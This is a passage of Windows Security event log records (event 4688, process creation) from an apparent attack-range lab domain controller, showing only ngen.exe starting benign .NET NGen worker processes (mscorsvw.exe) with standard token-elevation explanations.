Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:44 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254387
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb90
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2d4 -InterruptEvent 0 -NGENProcess 31c -Pipe 200 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:44 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254386
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10c0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 354 -InterruptEvent 0 -NGENProcess 31c -Pipe 364 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:44 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254385
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x32c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 31c -InterruptEvent 0 -NGENProcess 2c8 -Pipe 28c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:46 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254397
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x938
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 424 -InterruptEvent 0 -NGENProcess 448 -Pipe 45c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:46 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254396
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x898
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 420 -InterruptEvent 0 -NGENProcess 1e0 -Pipe 474 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:46 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254395
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xcec
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 474 -InterruptEvent 0 -NGENProcess 420 -Pipe 460 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:46 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254394
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4e8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 460 -InterruptEvent 0 -NGENProcess 474 -Pipe 44c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:46 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254393
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf7c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 44c -InterruptEvent 0 -NGENProcess 460 -Pipe 458 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:46 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254392
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1020
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 458 -InterruptEvent 0 -NGENProcess 44c -Pipe 454 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:48 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254408
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x32c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 488 -InterruptEvent 0 -NGENProcess 434 -Pipe 49c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:48 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254407
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x102c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4ac -InterruptEvent 0 -NGENProcess 49c -Pipe 48c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:48 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254406
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x448
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 48c -InterruptEvent 0 -NGENProcess 4ac -Pipe 494 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:48 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254405
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xef0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 494 -InterruptEvent 0 -NGENProcess 48c -Pipe 468 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:48 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254404
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5e8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 468 -InterruptEvent 0 -NGENProcess 494 -Pipe 4a4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:48 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254403
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10b4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4a4 -InterruptEvent 0 -NGENProcess 468 -Pipe 450 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:48 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254402
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1018
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 434 -InterruptEvent 0 -NGENProcess 450 -Pipe 420 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:48 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254401
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1080
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 420 -InterruptEvent 0 -NGENProcess 434 -Pipe 2c8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:48 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254400
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x298
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2c8 -InterruptEvent 0 -NGENProcess 420 -Pipe 480 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

